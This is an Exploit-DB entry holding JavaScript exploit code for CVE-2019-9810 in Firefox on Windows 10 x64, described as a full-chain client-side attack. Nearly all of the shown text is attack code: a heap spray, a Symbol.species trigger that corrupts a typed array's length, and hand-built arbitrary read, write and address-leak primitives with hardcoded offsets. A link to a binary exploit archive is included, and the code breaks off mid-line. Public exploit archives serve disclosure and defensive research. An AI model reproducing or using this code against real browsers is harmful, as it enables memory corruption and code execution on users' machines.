Exploit-DB #47752
Description: Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack
Type: local
Platform: windows_x86-64
Date: 2019-12-07
Author: Axel Souchet

Exploit:
// Axel '0vercl0k' Souchet - November 19 2019

// EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47752.zip

// 0:000> ? xul!sAutomationPrefIsSet - xul
// Evaluate expression: 85724947 = 00000000`051c0f13
const XulsAutomationPrefIsSet = 0x051c0f13n;
// 0:000> ? xul!disabledForTest - xul
// Evaluate expression: 85400792 = 00000000`05171cd8
const XuldisabledForTest = 0x05171cd8n;

const Debug = false;
const dbg = p => {
    if(Debug == false) {
        return;
    }

    print(`Debug: ${p}`);
};

const ArraySize = 0x5;
const WantedArraySize = 0x42424242;

let arr = null;
let Trigger = false;
const Spray = [];

function f(Special, Idx, Value) {
    arr[Idx] = 0x41414141;
    Special.slice();
    arr[Idx] = Value;
}

class SoSpecial extends Array {
    static get [Symbol.species]() {
        return function() {
            if(!Trigger) {
                return;
            }

            arr.length = 0;
            for(let i = 0; i < 0x40000; i++) {
                Spray.push(new Uint32Array(ArraySize));
            }
        };
    }
};

function GetMeBiggie() {
    for(let Idx = 0; Idx < 0x100000; Idx++) {
        Spray.push(new Uint32Array(ArraySize));
    }

    const SpecialSnowFlake = new SoSpecial();
    for(let Idx = 0; Idx < 10; Idx++) {
        arr = new Array(0x7e);
        Trigger = false;
        for(let Idx = 0; Idx < 0x400; Idx++) {
            f(SpecialSnowFlake, 0x70, Idx);
        }

        Trigger = true;
        f(SpecialSnowFlake, 47, WantedArraySize);
        if(arr.length != 0) {
            continue;
        }

        const Biggie = Spray.find(e => e.length != ArraySize);
        if(Biggie != null) {
            return Biggie;
        }
    }

    return null;
}

function ExploitCVE_2019_9810() {
    print = console.log;

    const Biggie = GetMeBiggie();
    if(Biggie == null || Biggie.length != WantedArraySize) {
        dbg('Failed to set things up :(.');
        return false;
    }

    //
    // Scan for one of the Uint32Array we sprayed earlier.
    //

    let Biggie2AdjacentSize = null;
    const JSValueArraySize = 0xfffa[PII_REDACTED]00n | BigInt(ArraySize);
    for(let Idx = 0; Idx < 0x100; Idx++) {
        const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]);
        if(Qword == JSValueArraySize) {
            Biggie2AdjacentSize = Idx + 1;
            break;
        }
    }

    if(Biggie2AdjacentSize == null) {
        dbg('Failed to find an adjacent array :(.');
        return false;
    }

    //
    // Use the array length as a marker.
    //

    const AdjacentArraySize = 0xbbccdd;
    Biggie[Biggie2AdjacentSize] = AdjacentArraySize;

    //
    // Find the array now..
    //

    const AdjacentArray = Spray.find(
        e => e.length == AdjacentArraySize
    );

    if(AdjacentArray == null) {
        dbg('Failed to find the corrupted adjacent array :(.');
        return false;
    }

    const ReadPtr = Addr => {
        const SizeInDwords = 2;
        const SavedSlot = [
            Biggie[Biggie2AdjacentSize],
            Biggie[Biggie2AdjacentSize + 2 + 2],
            Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
        ];

        //
        // Corrupt the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SizeInDwords;
        Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);

        //
        // Read arbitrary location now.
        //

        const Ptr = BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]);

        //
        // Restore the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SavedSlot[0];
        Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
        return Ptr;
    };

    const WritePtr = (Addr, Value) => {
        const SizeInDwords = 2;
        const SavedSlot = [
            Biggie[Biggie2AdjacentSize],
            Biggie[Biggie2AdjacentSize + 2 + 2],
            Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
        ];

        //
        // Corrupt the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SizeInDwords;
        Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);

        //
        // Write to arbitrary location now.
        //

        AdjacentArray[0] = Number(Value & 0xffffffffn);
        AdjacentArray[1] = Number(Value >> 32n);

        //
        // Restore the `AdjacentArray`'s size / data slot.
        //

        Biggie[Biggie2AdjacentSize] = SavedSlot[0];
        Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
        Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
        return true;
    };

    const AddrOf = Obj => {
        AdjacentArray.hell_on_earth = Obj;
        // 0:000> dqs 1ae5716e76a0
        // 00001ae5`716e76a0  00001ae5`7167dfd0
        // 00001ae5`716e76a8  000010c5`8e73c6a0
        // 00001ae5`716e76b0  00000238`9334e790
        // 00001ae5`716e76b8  00007ff6`6be55010 js!emptyElementsHeader+0x10
        // 00001ae5`716e76c0  fffa0000`00000000
        // 00001ae5`716e76c8  fff88000`00bbccdd
        // 0:000> !telescope 0x[PII_REDACTED]4e790
        // 0x[PII_REDACTED]34e790|+0x0000: 0xfffe1ae5716e7640 (Unknown)
        const SlotOffset = Biggie2AdjacentSize - (3 * 2);
        const SlotsAddress = BigInt.fromUint32s(
            Biggie.slice(SlotOffset, SlotOffset + 2)
        );

        return BigInt.fromJSValue(ReadPtr(SlotsAddress));
    };

    //
    // Let's move the battle field to the TenuredHeap
    //

    const ArrayBufferLength = 10;
    const AB1 = new Ar